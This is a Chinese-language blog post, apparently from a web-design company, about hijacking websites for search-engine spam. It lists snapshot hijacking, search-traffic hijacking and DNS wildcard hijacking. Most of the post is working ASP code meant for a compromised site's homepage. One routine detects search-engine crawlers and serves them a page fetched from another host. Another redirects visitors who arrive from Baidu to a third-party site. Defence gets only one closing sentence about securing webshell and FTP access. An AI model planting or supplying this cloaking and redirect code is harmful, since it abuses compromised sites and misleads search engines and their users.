前两天看到有网友问网站引擎劫持,网站快照劫持,新闻源劫持是怎么操作的。结果大多数网友都表示不了解,我今天来跟大家分享一下网站劫持是怎么操作的,如何防范。
1.网站快照劫持
动态页面首页通过在php或者asp,aspx文件中添加判断代码,判断如果是蜘蛛访问就修改标题内容,在标题内容写入联系方式和非法广告信息,如果不是蜘蛛访问就不做修改。
静态页面首页,在下午三点左右删除你的.html文件,添加inde.php,php中写入类似上面的语句,如果是蜘蛛就返回修改了标题的首页内容,不是就返回正常内容。
快照劫持比较讨厌,就算你修复了劫持,百度上还是会显示很长一段时间的非法快照信息。
代码如下:
<%
function getbot()
'查询蜘蛛
dim s_agent
getbot=
s_agent=request.servervariables(http_user_agent) '关键判断语句
if instr(1,s_agent,googlebot,1) >0 then
getbot=google
end if
if instr(1,s_agent,msnbot,1) >0 then
getbot=msn
end if
if instr(1,s_agent,slurp,1) >0 then
getbot=yahoo
end if
if instr(1,s_agent,baiduspider,1) >0 then
getbot=baidu
end if
if instr(1,s_agent,sohu-search,1) >0 then
getbot=sohu
end if
if instr(1,s_agent,lycos,1) >0 then
getbot=lycos
end if
if instr(1,s_agent,robozilla,1) >0 then
getbot=robozilla
end if
end function
function gethttppage(path)
t = getbody(path)
gethttppage=bytestobstr(t,gb2312)'编码
end function
function newstring(wstr,strng)
newstring=instr(lcase(wstr),lcase(strng))
if newstring<=0 then newstring=len(wstr)
end function
function getbody(url)
on error resume next
set retrieval = createobject(microsoft.xmlhttp)
with retrieval
.open get, url, false, ,
.send
getbody = .responsebody
end with
set retrieval = nothing
end function
function bytestobstr(body,cset)
dim objstream
set objstream = server.createobject(adodb.stream)
objstream.type = 1
objstream.mode =3
objstream.open
objstream.write body
objstream.position = 0
objstream.type = 2
objstream.charset = cset
bytestobstr = objstream.readtext
objstream.close
set objstream = nothing
end function
dim wstr,str,url,start,over,dtime
if getbot=baidu then
'给百度蜘蛛定制的内容
url=http://baidu.seowhy.com
'想要展示给蜘蛛的页面地址
wstr=gethttppage(url)
body=wstr
response.write &body&
response.end
elseif getbot=google then
'给google 蜘蛛定制的内容
url=http://baidu.seowhy.com
wstr=gethttppage(url)
body=wstr
response.write &body&
response.end
end if
2.搜索引擎流量劫持
这种劫持比快照劫持简单,直接在首页添加,判断访问来路是搜索引擎还是其它的js代码,当来路是搜索引擎的时候就跳转到目标站。
代码如下:
<%
ifinstr(request.servervariables(http_referer),www.baidu.com)>0then
'如果用户来自www.baidu.com
response.redirect(http://baidu.seowhy.com/)
'跳转指定地址
end if
%>
3.dns白菜站劫持
在域名解析里添加泛解析到目标地址,在目标地址主机上大量生成劫持域名的子站。
总结:1和2需要获得网站的webshell或者ftp,如果获得了新闻源网站的这种权限,就可以做新闻源劫持;3需要获得dns管理帐号。所以造成网站被劫持的主要原因还是自己网站被入侵,或者被扫ftp的挖掘机扫出了ftp帐号等,网络安全没做好的原因。所以只要网络安全到位,别人是劫持不你的网站的。欢迎大家持续关注北京网站建设公司的网站,希望大家能够从创新的网站中学到东西,增强自己的知识。
深圳网站制作公司中普通企业搭建邮件服务器的目的直播行业为什么推荐使用香港服务器?SSL证书可以给多个域名使用吗网络营销秘籍:B2C网站推广经验分享企业网站建设如何做到脱颖而出?企业网站优化如何在收录方面快人一步外贸营销新思路:O2O全网营销企业网站搭建的相关内容详解